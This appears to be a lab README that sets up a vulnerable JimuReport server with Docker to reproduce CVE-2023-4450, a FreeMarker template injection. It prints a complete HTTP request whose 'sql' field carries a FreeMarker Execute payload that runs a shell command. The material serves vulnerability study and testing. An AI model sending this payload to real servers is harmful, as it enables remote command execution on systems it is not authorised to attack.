Aaron
63285f61aa
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45 lines
1.4 KiB
Markdown
45 lines
1.4 KiB
Markdown
# JeecgBoot JimuReport FreeMarker Server Side Template Injection RCE (CVE-2023-4450)
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[中文版本(Chinese version)](README.zh-cn.md)
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JimuReport is a open source visualization report platform under JeecgBoot project. In the JimuReport version prior to 1.6.0, there is a FreeMarker server side template injection (SSTI) issue that is able to execute arbitrary commands.
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References:
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- <https://github.com/advisories/GHSA-j8h5-8rrr-m6j9>
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- <https://whoopsunix.com/docs/java/named%20module/>
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- <https://www.reajason.eu.org/writing/freemarkersstimemshell/>
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## Vulnerable Environment
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Execute following command to start a JimuReport 1.6.0 server:
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```
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docker compose up -d
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```
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Wait a few seconds and you can see the index page of JimuReport on `http://your-ip:8085`.
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## Exploit
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Send the following request to execute the FreeMarker template `<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}`:
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```
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POST /jmreport/queryFieldBySql HTTP/1.1
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Host: localhost:8085
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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Content-Length: 100
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{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }
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```
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The `id` command has been executed successfully:
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